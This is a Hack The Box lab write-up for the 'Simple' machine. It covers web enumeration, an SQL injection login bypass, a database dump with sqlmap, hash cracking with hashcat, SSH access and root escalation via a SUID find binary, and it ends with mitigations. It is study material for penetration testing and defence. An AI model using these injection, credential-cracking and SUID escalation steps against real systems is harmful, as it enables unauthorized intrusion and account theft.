372 words
2 minutes
HTB Writeup: 'Simple' Machine — SQLi + Privilege Escalation

Difficulty: Easy OS: Linux Points: 20 Status: Retired


Reconnaissance#

Initial scan#

Terminal window
sudo nmap -sS -sV -sC -p- --min-rate 5000 10.10.11.50 -oN simple.txt
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu
80/tcp open http Apache httpd 2.4.52

Only two open ports. Let’s go to the web.


Web Enumeration#

Visiting http://10.10.11.50 we find a simple login panel.

Terminal window
# Directory fuzzing
ffuf -w /usr/share/wordlists/dirb/common.txt \
-u http://10.10.11.50/FUZZ \
-fc 404
# Relevant result:
# /admin [Status: 302]
# /config [Status: 403]
# /login [Status: 200]

Identify technology#

Terminal window
whatweb http://10.10.11.50
# [+] PHP/7.4.3, Apache/2.4.52, Bootstrap/4.5.2

Exploitation — SQL Injection#

The login form is vulnerable to basic SQL injection. We try the classic bypass:

User: admin' OR '1'='1
Password: anything

We get in directly. But we go further — we extract the whole database with sqlmap:

Terminal window
# Capture the request with Burp and save it to login.req
sqlmap -r login.req --dbs --batch
# Databases:
# [*] information_schema
# [*] simpleblog
# Extract tables
sqlmap -r login.req -D simpleblog --tables --batch
# [+] users
# Extract user data
sqlmap -r login.req -D simpleblog -T users --dump --batch
+----+------------------+------------------------------------------+
| id | username | password |
+----+------------------+------------------------------------------+
| 1 | admin | $2y$10$hashedpassword... |
| 2 | john | $2y$10$anotherhashedpw... |
+----+------------------+------------------------------------------+

Crack the hashes#

Terminal window
# Save the hash to a file
echo '$2y$10$hashedpassword...' > hash.txt
# Crack with hashcat (bcrypt = mode 3200)
hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt
# Result: password123

Initial access — SSH#

With the cracked credentials we try SSH:

Terminal window
ssh john@10.10.11.50
# Password: password123
john@simple:~$ id
uid=1001(john) gid=1001(john) groups=1001(john)
john@simple:~$ cat user.txt
HTB{u53r_fl4g_4qu1}

🎯 User flag obtained.


Privilege Escalation#

Local enumeration#

Terminal window
# Look for SUID binaries
find / -perm -4000 2>/dev/null
/usr/bin/find ← Interesting
/usr/bin/sudo
/usr/bin/pkexec
/bin/su

The find binary with SUID is a classic escalation. We check on GTFOBins:

Terminal window
# Escalation with find SUID
/usr/bin/find . -exec /bin/sh -p \; -quit
# sh-5.1# id
uid=1001(john) gid=1001(john) euid=0(root) groups=1001(john)
# sh-5.1# cat /root/root.txt
HTB{r00t_fl4g_pwn3d!}

🎯 Root flag obtained. Machine completed!


Lessons learned#

  1. Never concatenate user input directly into SQL queries — use prepared statements
  2. Misconfigured SUID binaries are critical vectors for privilege escalation
  3. Systematic enumeration is key — don’t skip steps

Mitigations#

// BAD — vulnerable to SQLi
$query = "SELECT * FROM users WHERE user='$username'";
// GOOD — prepared statement
$stmt = $pdo->prepare("SELECT * FROM users WHERE user=?");
$stmt->execute([$username]);
Terminal window
# Review and remove unnecessary SUID bits
chmod u-s /usr/bin/find

Questions or corrections? Find me on Twitter as @Oguiii 🔐

HTB Writeup: 'Simple' Machine — SQLi + Privilege Escalation
https://oguiii.xyz/en/posts/htb-writeup-simple/
Author
Oguiii
Published at
2025-02-03
License
CC BY-NC-SA 4.0